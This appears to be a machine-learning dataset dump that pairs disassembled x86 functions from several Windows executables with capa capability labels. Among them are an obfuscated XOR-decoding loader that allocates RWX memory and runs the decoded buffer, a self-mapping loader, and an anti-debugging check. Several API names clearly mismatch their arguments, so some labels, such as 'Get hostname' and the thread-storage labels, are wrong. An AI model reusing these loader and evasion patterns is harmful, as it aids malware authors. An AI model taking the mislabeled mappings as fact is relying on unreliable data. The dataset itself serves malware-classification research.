joyce8/EMBER2024-capa huggingface dataset:
Function at 0x434114
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4341e0
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
mov edx, edi
call fcn.004041e8
mov eax, dword [ebp - 8]
call fcn.00433fa0
mov ebx, eax
test bl, bl
jne 0x434163
lea eax, [ebp - 8]
mov ecx, 1
mov edx, 1
call fcn.004046b0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404610
push eax
mov edx, ebx
mov eax, esi
call fcn.004340fc
push eax
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
sete al
mov ebx, eax
test bl, bl
je 0x4341a6
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetCPInfo
jmp 0x4341ca
mov dword [ebp - 0x14], edi
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x14]
push eax
push 0
mov ecx, dword [0x4afed4]
mov dl, 1
mov eax, dword [0x433e40]
call fcn.0040c588
call fcn.00403b8c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4341e7
lea eax, [ebp - 8]
call fcn.00404150
ret

Function at 0x4341f0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov byte [ebp - 1], cl
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4342f5
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.004041e8
mov eax, dword [ebp - 0xc]
call fcn.00433fa0
mov ebx, eax
test bl, bl
jne 0x43423c
lea eax, [ebp - 0xc]
mov ecx, 1
mov edx, 1
call fcn.004046b0
xor eax, eax
mov dword [ebp - 8], eax
cmp byte [ebp - 1], 0
je 0x43424d
cmp dword [ebp - 0xc], 0
jne 0x434277
lea eax, [ebp - 8]
push eax
mov eax, dword [esi + 0x18]
push eax
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404610
push eax
mov edx, ebx
mov eax, esi
call fcn.004340fc
push eax
call sub.oleaut32.dll_SysAllocStringLen
test eax, eax
sete byte [ebp - 2]
jmp 0x4342a9
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [esi + 0x18]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404610
push eax
mov edx, ebx
mov eax, esi
call fcn.004340fc
push eax
call sub.KERNEL32.DLL_GetComputerNameA
test eax, eax
sete byte [ebp - 2]
cmp byte [ebp - 2], 0
je 0x4342df
cmp dword [esi + 4], 0
setne al
test al, bl
je 0x4342d2
push dword [esi + 0x10]
push 0x434310
push dword [ebp - 0xc]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004044d0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
mov eax, esi
call fcn.004340d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4342fc
lea eax, [ebp - 0xc]
call fcn.00404150
ret
Function at 0x471730
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov edi, eax
mov ebx, edx
mov eax, dword [ebx + 0x3c]
test eax, eax
je 0x471747
mov si, 0xffee
call fcn.004035fc
mov eax, dword [ebx + 0x40]
test eax, eax
je 0x471758
push 0
push 0xffffffffffffffff
push eax
call sub.user32.dll_ShowWindow
xor eax, eax
mov dword [ebx + 0x40], eax
mov eax, dword [edi + 0x38]
test eax, eax
je 0x471772
mov edx, ebx
call fcn.004191e8
mov eax, ebx
call fcn.00403400
pop edi
pop esi
pop ebx
ret

Function at 0x47209c
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 0x38]
test eax, eax
je 0x4720c5
mov esi, eax
mov eax, ebx
call fcn.00472360
xor eax, eax
mov dword [ebx + 0x38], eax
push 0
push 0xffffffffffffffff
push esi
call sub.user32.dll_ShowWindow
push esi
call sub.user32.dll_ShowOwnedPopups
mov eax, dword [ebx + 0xa0]
test eax, eax
je 0x4720e6
push eax
mov eax, dword [0x4b1e50]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_WindowFromPoint
xor eax, eax
mov dword [ebx + 0xa0], eax
mov eax, dword [ebx + 0xa4]
test eax, eax
je 0x472107
push eax
mov eax, dword [0x4b1e50]
mov eax, dword [eax + 0x44]
push eax
call sub.user32.dll_WindowFromPoint
xor eax, eax
mov dword [ebx + 0xa4], eax
xor edx, edx
mov eax, ebx
call fcn.004724b0
xor edx, edx
mov eax, ebx
call fcn.004724c4
pop esi
pop ebx
ret
Function at 0x4766b8
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x244], ecx
mov dword [ebp - 0x248], ecx
mov dword [ebp - 0x238], ecx
mov dword [ebp - 0x240], ecx
mov dword [ebp - 0x23c], ecx
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00404600
xor eax, eax
push ebp
push 0x47684b
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov edx, edi
mov eax, 8
call fcn.00473998
mov ebx, eax
cmp ebx, 0xffffffff
je 0x476825
mov dword [ebp - 0x234], 0x224
lea edx, [ebp - 0x234]
mov eax, ebx
call fcn.004739f8
lea eax, [ebp - 0x23c]
lea edx, [ebp - 0x114]
mov ecx, 0x104
call fcn.004043c0
mov eax, dword [ebp - 0x23c]
lea edx, [ebp - 0x238]
call fcn.00408584
mov eax, dword [ebp - 0x238]
push eax
lea edx, [ebp - 0x240]
mov eax, dword [ebp - 4]
call fcn.00408584
mov edx, dword [ebp - 0x240]
pop eax
call fcn.0040455c
jne 0x476804
push edi
push 0
push 0x1f0fff
call sub.KERNEL32.DLL_TlsSetValue
mov esi, eax
cmp esi, 0xffffffff
je 0x476804
mov byte [ebp - 5], 1
lea edx, [ebp - 0x244]
mov eax, 0x476864
call fcn.004705ac
mov eax, dword [ebp - 0x244]
call fcn.00404610
push eax
lea edx, [ebp - 0x248]
mov eax, 0x476888
call fcn.004705ac
mov eax, dword [ebp - 0x248]
call fcn.00404610
push eax
call fcn.00406694
push eax
call fcn.0040669c
lea edx, [ebp - 0x10]
push edx
push 0
mov edx, dword [ebp - 0x220]
push edx
push eax
push 0
push 0
push esi
call fcn.0040658c
mov dword [ebp - 0xc], eax
push esi
call fcn.0040656c
mov eax, dword [ebp - 0xc]
push eax
call fcn.0040656c
lea edx, [ebp - 0x234]
mov eax, ebx
call fcn.00473a18
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x476731
push ebx
call fcn.0040656c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476852
lea eax, [ebp - 0x248]
mov edx, 5
call fcn.00404174
lea eax, [ebp - 4]
call fcn.00404150
ret

Function at 0x47d918
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x47d946
mov eax, ebx
call fcn.0047e3cc
cmp dword [ebx + 0x40], 0
je 0x47d93f
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x47d9b7
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x47d9a9
cmp dword [ebx + 8], 0
je 0x47d968
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x47d97a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x47d9a9
cmp dword [ebx + 8], 0
je 0x47d95b
cmp eax, 3
je 0x47d98d
dec eax
jne 0x47d95b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x47d95b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x47d95b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x47d9d5
cmp dword [ebx + 0x14], 0xcc
je 0x47d9d5
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0047d9e0
pop ebx
ret
Function at 0x48f2d8
Capabilities:
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
push edi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 4], edx
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 4]
xor edi, edi
mov dword [ebp - 8], esp
mov eax, dword [ebp - 0xc]
inc eax
shl eax, 2
sub esp, eax
lea eax, [ebp - 0x10]
mov dword [eax], esp
mov eax, ebx
call fcn.00409014
mov esi, eax
push 0
push 0
push esi
push ebx
push 0
push 0
call sub.KERNEL32.DLL_TlsGetValue
inc eax
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
add eax, eax
add eax, 3
and eax, 0xfffffffc
sub esp, eax
lea eax, [ebp - 0x18]
mov dword [eax], esp
test edi, edi
jne 0x48f33c
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x18]
mov dword [eax], edx
jmp 0x48f34a
mov eax, dword [ebp - 0xc]
sub eax, edi
mov edx, dword [ebp - 0x10]
mov ecx, dword [ebp - 0x18]
mov dword [edx + eax*4], ecx
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x18]
push eax
push esi
push ebx
push 0
push 0
call sub.KERNEL32.DLL_TlsGetValue
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov word [eax + edx*2 - 2], 0
inc esi
add ebx, esi
inc edi
cmp edi, dword [ebp - 0xc]
jne 0x48f300
mov eax, dword [ebp + 8]
push eax
call fcn.004066c4
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [0x4afeb0]
push eax
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
cmp eax, 0x80020006
jne 0x48f3a4
push ebp
call fcn.0048f2a4
pop ecx
jmp 0x48f3a9
call fcn.0048e9c4
mov esp, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x49cecc
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404600
mov eax, dword [ebp - 8]
call fcn.00404600
mov eax, dword [ebp - 0xc]
call fcn.00404600
xor eax, eax
push ebp
push 0x49cffb
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 2
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.00404610
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x34], 3
mov eax, dword [ebp - 0xc]
call fcn.00404610
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0xc]
call fcn.0042e20c
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00404610
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49cfe0
xor eax, eax
push ebp
push 0x49cfd9
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
push 0
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x49cfb9
push 0
push 0
push 0x25
push 0
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x49cfbd
xor eax, eax
jmp 0x49cfbf
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49cfe0
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d002
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404174
ret
Function at 0x49d00c
Capabilities:
Connect to http server
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb4
push ebx
push esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404600
mov eax, dword [ebp - 8]
call fcn.00404600
mov eax, dword [ebp - 0xc]
call fcn.00404600
mov eax, dword [ebp + 0xc]
call fcn.00404600
xor eax, eax
push ebp
push 0x49d176
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 0xd], 0
mov ebx, 0x14
mov dword [ebp - 0x28], 0x14
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0x48], 3
mov dword [ebp - 0x40], 2
mov eax, dword [ebp - 8]
call fcn.00404610
mov esi, eax
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x34], 3
mov eax, 0x49d188
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x18], eax
push 0
push 0
push 0
push 1
mov eax, dword [ebp - 4]
call fcn.00404610
push eax
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x49d153
xor edx, edx
push ebp
push 0x49d14c
push dword fs:[edx]
mov dword fs:[edx], esp
push 0
push 0
push 3
mov eax, dword [ebp + 0xc]
call fcn.00404610
push eax
mov eax, dword [ebp - 0xc]
call fcn.00404610
push eax
mov ax, word [ebp + 8]
push eax
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetConnectA
test eax, eax
je 0x49d135
push ebx
lea eax, [ebp - 0x28]
push eax
push 0x4b
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x49d12c
push 0
push 0
push 0x25
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetSetOptionA
test eax, eax
jne 0x49d130
xor eax, eax
jmp 0x49d132
mov al, 1
mov byte [ebp - 0xd], al
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d153
mov eax, dword [ebp - 0x14]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d17d
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404174
lea eax, [ebp + 0xc]
call fcn.00404150
ret
Function at 0x49d190
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
push ebx
mov byte [ebp - 1], 0
mov ebx, 0x14
mov dword [ebp - 0x1c], 0x14
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x3c], 3
mov dword [ebp - 0x34], 2
mov eax, 0x49d258
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 3
mov eax, 0x49d25c
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x40]
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 1
push 0x49d258
call sub.wininet.dll_InternetOpenA
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x49d24f
xor eax, eax
push ebp
push 0x49d248
push dword fs:[eax]
mov dword fs:[eax], esp
push ebx
lea eax, [ebp - 0x1c]
push eax
push 0x4b
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
push 0
push 0
push 0x25
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetSetOptionA
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x49d24f
mov eax, dword [ebp - 8]
push eax
call sub.wininet.dll_InternetCloseHandle
ret
mov al, byte [ebp - 1]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x494748
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
sub esp, 0x820
push ebx
push ebp
push esi
push edi
xor eax, eax
mov word [esp + 0x30], ax
push 0x400
xor edi, edi
lea eax, [esp + 0x34]
push eax
mov ebp, edi
mov ebx, edi
push edi
mov dword [esp + 0x20], ebp
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [esp + 0x30]
push edi
push 0x8000000
push 3
push edi
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4947e8
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, eax
mov ecx, ebp
mov dword [esp + 0x14], ebp
call fcn.004949d3
mov ebx, eax
push edi
lea eax, [esp + 0x30]
push eax
push ebp
push ebx
push esi
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4947ce
cmp dword [esp + 0x2c], ebp
je 0x4947e1
mov ecx, ebx
call fcn.004949c3
mov ebx, edi
mov dword [esp + 0x10], ebx
mov ebp, edi
mov dword [esp + 0x14], edi
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x28]
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
mov ecx, ebx
call fcn.004945b6
mov esi, dword [esp + 0x18]
push 0x40
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [esp + 0x20], eax
mov eax, dword [eax + 0x50]
mov dword [esp + 0x2c], eax
add eax, 0x14
push 0x3000
add eax, ebp
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [esp + 0x20], edi
test edi, edi
je 0x49493f
push 0x40
mov edx, esi
mov ecx, edi
call fcn.0049497d
mov esi, dword [esp + 0x1c]
mov ecx, dword [edi + 0x3c]
movzx eax, word [esi + 0x14]
add ecx, edi
push eax
mov edx, esi
mov dword [esp + 0x28], ecx
call fcn.0049497d
movzx ecx, word [esi + 0x14]
mov edx, dword [esp + 0x24]
movzx ebx, word [esi + 6]
lea eax, [esi + 0x18]
add ecx, eax
movzx eax, word [edx + 0x14]
lea esi, [edx + 0x18]
add esi, eax
mov dword [esp + 0x1c], ecx
test ebx, ebx
je 0x4948c0
mov ebp, ecx
sub ebp, esi
mov edi, ebx
push 0x28
lea edx, [esi + ebp]
mov ecx, esi
jmp 0x4c2024
mov ebx, dword [esp + 0x24]
add ebx, 0x18
push ebx
mov edx, edi
mov ecx, edi
jmp 0x4c1c2e
mov ecx, esi
call fcn.004949c3
mov ecx, ebx
call fcn.004949c3
pop edi
pop esi
xor eax, eax
pop ebp
inc eax
pop ebx
add esp, 0x820
ret
Function at 0x407e5f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42dc50]
jne 0x407e69
repz ret
jmp fcn.0040c59d

Function at 0x40b2f0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00406090
and dword [ebp - 4], 0
cmp dword [0x437620], 0
mov ebx, eax
jne 0x40b3a1
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40b452
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40b452
push eax
call fcn.0040601e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x437620], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x437624], eax
call esi
push eax
call fcn.0040601e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x437628], eax
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x437630], eax
test eax, eax
je 0x40b3a1
push 0x429f10
push edi
call esi
push eax
call fcn.0040601e
pop ecx
mov dword [0x43762c], eax
mov eax, dword [0x43762c]
cmp eax, ebx
je 0x40b3f9
cmp dword [0x437630], ebx
je 0x40b3f9
push eax
call fcn.00406099
push dword [0x437630]
mov esi, eax
call fcn.00406099
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40b3f9
test edi, edi
je 0x40b3f9
call esi
test eax, eax
je 0x40b3f0
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40b3f0
test byte [ebp - 0xc], 1
jne 0x40b3f9
or dword [ebp + 0x10], 0x200000
jmp 0x40b432
mov eax, dword [0x437624]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40b432
mov eax, dword [0x437628]
cmp eax, ebx
je 0x40b432
push eax
call fcn.00406099
pop ecx
test eax, eax
je 0x40b432
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x437620]
call fcn.00406099
pop ecx
test eax, eax
je 0x40b452
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40b454
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4054e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x4054ef
pop dword [ebp - 0x18]
mov eax, 0x6468f35f
sub eax, 0x64289e70
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x8ba9da92
sub dword [ebp - 0x28], 0x3d579547
mov dword [ebp - 0x24], 0x3da3ac94
sub dword [ebp - 0x24], 0xb70604f
mov dword [ebp - 0x20], 0x3ee69b6e
sub dword [ebp - 0x20], 0xf29a5740
mov dword [ebp - 0x1c], 0xcdfcc42e
sub dword [ebp - 0x1c], 0xcdfcc42e
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x9e6301e9
add dword [ebp - 0x28], 0xd60f676d
mov dword [ebp - 0x24], 0x15317195
add dword [ebp - 0x24], 0x2c3aefe0
mov dword [ebp - 0x20], 0x7e825410
add dword [ebp - 0x20], 0xe4ed185c
mov dword [ebp - 0x1c], 0xf95524d2
sub dword [ebp - 0x1c], 0xf95524d2
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x9d4dbcf2
sub eax, 0x9d0c4c7e
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3ccb6
push 0
call eax
mov ecx, 0x772ffc16
add ecx, 0x88d04fad
mov edx, eax
mov esi, 0x610fa789
add esi, 0x9f331077
add esi, dword [ebp - 0x18]
mov ebx, 0xf4c3318a
mov dword [ebp - 4], 0xa77b110b
mov edi, dword [esi]
sub dword [ebp - 8], edi
sub edi, ebx
xor dword [ebp - 8], edi
mov dword [edx], edi
add dword [ebp - 0xc], edi
add edx, 0x46291ff1
add edx, 0xb9d6e013
add esi, 0xf41011ca
sub esi, 0xf41011c6
loop 0x405606
add eax, 0x75e54b4
add eax, 0xf8a2cd2b
mov ebx, eax
add eax, 0x8448c3e4
add eax, 0x7bb73c21
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40de00
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push esi
mov esi, ecx
push esi
call dword [sym.imp.msvcrt.dll_malloc]
pop ecx
test eax, eax
jne 0x40de28
push eax
mov esi, 0x7d5
xor edx, edx
push esi
xor ecx, ecx
call fcn.00412ab2
push esi
call dword [sym.imp.msvcrt.dll_exit]
add dword [0x418718], esi
pop esi
ret

Function at 0x4109e3
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x25c
mov eax, dword [0x418060]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x208], 0
lea eax, [ebp - 0x25c]
push esi
push edi
push 0x44
push 0
push eax
mov edi, edx
mov esi, ecx
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [ebp - 0x25c], 0x44
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff6
mov dword [ebp - 0x21c], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0xfffffffffffffff5
mov dword [ebp - 0x224], eax
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push ecx
push esi
push ecx
mov edx, 0x200
mov dword [ebp - 0x220], eax
lea ecx, [ebp - 0x204]
call fcn.0040df45
test eax, eax
jne 0x410b16
push 0x4058f8
lea ecx, [ebp - 0x204]
call fcn.004108d4
test eax, eax
jne 0x410b16
push edi
lea ecx, [ebp - 0x204]
call fcn.004108d4
test eax, eax
jne 0x410b16
push 0x4058fc
lea ecx, [ebp - 0x204]
call fcn.004108d4
test eax, eax
jne 0x410b16
lea eax, [ebp - 0x218]
xor ecx, ecx
push eax
lea eax, [ebp - 0x25c]
push eax
push ecx
push ecx
push ecx
push 1
push ecx
push ecx
lea eax, [ebp - 0x204]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x410b11
push 0xffffffffffffffff
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x208]
push eax
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x208]
jmp 0x410b16
mov eax, 0x95e
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004133d0
leave
ret